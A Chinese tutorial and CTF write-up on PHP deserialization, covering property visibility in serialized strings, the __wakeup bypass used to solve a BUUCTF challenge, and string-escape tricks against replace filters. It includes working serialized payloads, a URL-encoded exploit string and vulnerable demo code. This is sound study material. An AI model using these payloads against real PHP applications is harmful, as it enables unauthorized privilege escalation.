php反序列化进阶 && CVE (__wakeup的绕过)&&属性类型特征 && 字符串的逃逸

前言

属性特征 : 是指php的类定义除了 public(公共属性)还有 protect(受保护的属性) 和private (私有属性)

特征:

public(公共的):在本类内部、外部类、子类都可以访问

protect(受保护的):只有本类或子类或父类中可以访问

private(私人的):只有本类内部可以使用

显示 :(显示不同的目的就是为了让 反序列化 进行识别他是什么类型的属性)

public正常显示

protect 显示的特征就是 %00 %00 就是有空格掺杂

private 显示特征就是 xxx *

<?php 

//public private protected说明
class Atest{
    public $name="xiaodi";
    private $age="31";
    protected $sex="man";
}
$a=new Atest();
$a=serialize($a);
print_r($a);




?>

续上文介绍 剩下2个高频 魔术方法

1、__isset() 检测对象的某个属性是否存在时执行此函数。当对不可访问属性调用 isset() 或 empty() 时,__isset() 会被调用

//__isset(): 检测对象的某个属性是否存在时执行此函数。当对不可访问属性调用 isset() 或 empty() 时,__isset() 会被调用
class Person{
   public $sex; //公共的
   private $name; //私有的
   private $age; //私有的

   public function __construct($name, $age, $sex){
       $this->name = $name;
       $this->age = $age;
       $this->sex = $sex;
   }

   // __isset():当对不可访问属性调用 isset() 或 empty() 时,__isset() 会被调用。
   public function __isset($content){
       //echo "当在类外部使用isset()函数测定私有成员 {$content} 时,自动调用<br>";
       echo "123<br>";
       return isset($this->$content);
   }
}

$person = new Person("xiaodi", 31,'男');
// public 成员
echo ($person->sex),"<br>";
// echo isset($person->name),"<br>";
// echo empty($person->sex),"<br>";
// private 成员
isset($person->name);
empty($person->age);

2、__unset():在不可访问的属性上使用unset()时触发 销毁对象的某个属性时执行此函数

上边这两个其实都是对不可方法变量的操作

//__unset():在不可访问的属性上使用unset()时触发 销毁对象的某个属性时执行此函数
class Person{
   public $sex;
   private $name;
   private $age;

   public function __construct($name, $age, $sex){
       $this->name = $name;
       $this->age = $age;
       $this->sex = $sex;
   }

   // __unset():销毁对象的某个属性时执行此函数
   public function __unset($content) {
       echo "这是个私有变量".$content."<br>";
       //echo isset($this->$content)."<br>";
   }
}

$person = new Person("xiaodi", 31,"男"); // 初始赋值
unset($person->sex);//不调用 属性共有
unset($person->name);//调用 属性私有 触发__unset
unset($person->age);//调用 属性私有 触发__unset

CVE(__wakeup逃逸)(以buuctf中的[极客大挑战 2019]PHP)

有个提示是 这个网站是有备份文件的 所以直接访问 www.zip

解压一下使用vscode打开: 打开index.php 寻找信息

因为包含了一个 class.php 所以推测pop应该是从 class.php内获取

新建一个pop.php

先了解一下 wakeup的基本使用(当 unserialize 被调用是会先使用它来进行数据的初始化)

他的作用是初始化数据

运行下面代码

<?php
class  Www{
    public $name='xiaodi';
    public function __wakeup(){
        echo "222";
        $this->name = 'nJohn';
    }
}
$x=new Www();

$xx=serialize($x);
$xxx=unserialize($xx);
var_dump($xxx);
?>

构造pop

O:5:"Names":2:{s:15:"Namesusername";s:5:"admin";s:15:"Namespassword";i:100;}

但是wakeup的绕过就是把对象的数量大于实际的数量就会不执行 wakeup

url编码一下传给 ?select=O%3A4%3A%22Name%22%3A3%3A%7Bs%3A14%3A%22%00Name%00username%22%3Bs%3A5%3A%22admin%22%3Bs%3A14%3A%22%00Name%00password%22%3Bs%3A3%3A%22100%22%3B%7D

flag{c1c757b6-9d95-4bd0-bbf4-a2f6ad314d9b}

字符串的逃逸

是什么事字符串的逃逸? :字符串的逃逸就是为了绕过一下过滤性的waf

简单的演示

对替换的进行反序列化 输出失败

原因 : 因为序列化被修改但是他的字符数不会被修改

O:4:"user":3:{s:8:"username";s:5:"hacker";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}

看一下hacker是6位数 而序列化之后是 5位的显示 所以才会导致的这个时候就需要我们进行 字符串的逃逸

看个本地的demo

1\字符串加位逃逸

<?php
class user
{
    public $username;
    public $password;
    public $isVIP;

    public function __construct($u, $p)
    {
        $this->username = $u;
        $this->password = $p;
        $this->isVIP = 0;
    }

    function login(){
        $isVip=$this->isVIP;


        if($isVip==1){   //因为这个的判断只有一个所以 只要让  isvip=1 就能执行 flag is niubi 
            echo 'flag is niubi';
        }else{
            echo 'fuck';
        }
    }


}

function filter($obj) {
    return preg_replace("/admin/","hacker",$obj);
}

//你必须输入admin
//


//$u='adminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadmin";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}';
//$p="xiaodi";

//$u='admin';
//$p='123456';

//无过滤序列化数据数据显示
//$obj = new user($u,$p);
//$obj = serialize($obj);
//echo $obj;
//echo "\n";
//无过滤反序列化数据数据显示
//var_dump(unserialize($obj));
//echo "\n";
//有过滤反序列化数据数据显示
//$obj1 = filter(serialize($obj));
//echo $obj1;
//var_dump(unserialize($obj1));

$obj=$_GET['x'];
if(isset($obj)){
    $o=unserialize($obj);
    $o->login();
}else{
    echo 'fuck';
}

知道之后 进行pop的构造只把需要的留下

<?php
class user
{
    public $username='admin';
    public $password='123456';
    public $isVIP='1';
    public function __construct($u, $p)
    {
        $this->username = $u;
        $this->password = $p;
        $this->isVIP = 1;
    }
}


function filter($obj) {
    return preg_replace("/admin/","hacker",$obj);
}
$u='admin';
$p='123456';
$obj = new user($u,$p);
echo serialize($obj);

分别输出出 1、原本的 2、替换后的

O:4:"user":3:{s:8:"username";s:5:"我们的输入";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}

现在的

O:4:"user":3:{s:8:"我们的输入";s:5:"hacker";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}

发现hacker 是 6个字符 却被序列化为 5 这样就会让替换之后的 多很多字符 那该怎么办? 涉及到占位问题 就是hacker会多占位

输入一个 admin 会多占位一个 我们把username 写为 : 47个admin (这个是有admin后边的位数决定的) 这个时候替换会多出 47个 r 我们输入的后边 有多余的 47位可以代替 被替换的 来补全

admin = 5

5 * 47 + 47

47个admin 正好加上 后边的47位 和下边的相等 这样实现字符串的逃逸

可以理解为 47 和 6 的公倍数 遇见 就可以写为 寻找要构造的数后边的多余为 和要替换数的字符数的公倍数 这个只适用于 多一个字符的替换

47个 admin全部替换掉为 hacker

hacker=6

6 * 47

最后的paylaod :

$u='adminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadmin";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}'

这个的原理就是使用了 admin 替换为 hacker 让后边加上原来admin 就有的内容

2\字符串减位逃逸

字符的减位和加位完全为两个逻辑

上边 位多了 我们就把username 加到 和下边一样

减位的话 就需要让位 让我们的输入也变少 和少到和下边一样

本地demo源码

<?php
class user
{
    public $username;
    public $password;
    public $isVIP;

    public function __construct($u, $p)
    {
        $this->username = $u;
        $this->password = $p;
        $this->isVIP = 0;
    }

    function login(){
        $isVip=$this->isVIP;
        if($isVip==1){
            echo 'flag is niubi';
        }else{
            echo 'fuck';
        }

    }
}

function filter($obj) {
    return preg_replace("/admin/","hack",$obj);
}

//$obj = new user('admin','xiaodi');
//echo serialize($obj);
//$obj = filter(serialize($obj));
//echo $obj;
//var_dump(unserialize($obj));

$obj=$_GET['x'];
if(isset($obj)){
    $o=unserialize($obj);
    $o->login();
}else{
    echo 'fuck';
}

还是先获取 替换前和 之后的 序列化内容

原:

O:4:"user":3:{s:8:"username";s:5:"admin";s:8:"password";s:6:"123456";s:5:"isVIP";i:0;}

现:

O:4:"user":3:{s:8:"username";s:5:"hack";s:8:"password";s:6:"123456";s:5:"isVIP";i:0;}

上一个我们修改的是 username 这一关我们需要修改password 把 password 修改为和下边一样

发现是22 位

上一个我们修改的是 username 这一关我们需要修改password 把 password 修改为和下边一样、

username 生成 22个admin 会使得下边少 22位 我们让 password= ";s:8:"password";s:6:" 从而是上下一致

paylaod

O:4:"user":3:{s:8:"username";s:115:"hackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhack";s:8:"password";s:47:"";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}";s:5:"isVIP";i:0;}

进行反序列在url编码 成功出flag

因为判断是 isvip 所以只要 isvip=1 就能实现

综合

技巧 :增找末尾相同的个数位 进行上下一致的补位(末尾部分的补位) 这个只补 admin

减找中间的相同位数 让admin和password共同构造和下边一样的payload(中间部分的双写)

相关推荐
吾当每日三饮五升1 小时前
C++单例模式跨DLL调用问题梳理
开发语言·c++·单例模式
猫武士水星2 小时前
C++ scanf
开发语言·c++
BinaryBardC2 小时前
Bash语言的数据类型
开发语言·后端·golang
Lang_xi_2 小时前
Bash Shell的操作环境
linux·开发语言·bash
Pandaconda2 小时前
【Golang 面试题】每日 3 题(二十一)
开发语言·笔记·后端·面试·职场和发展·golang·go
捕鲸叉3 小时前
QT自定义工具条渐变背景颜色一例
开发语言·前端·c++·qt
想要入门的程序猿3 小时前
Qt菜单栏、工具栏、状态栏(右键)
开发语言·数据库·qt
Elena_Lucky_baby3 小时前
在Vue3项目中使用svg-sprite-loader
开发语言·前端·javascript
土豆凌凌七3 小时前
GO随想:GO的并发等待
开发语言·后端·golang
AI向前看4 小时前
C语言的数据结构
开发语言·后端·golang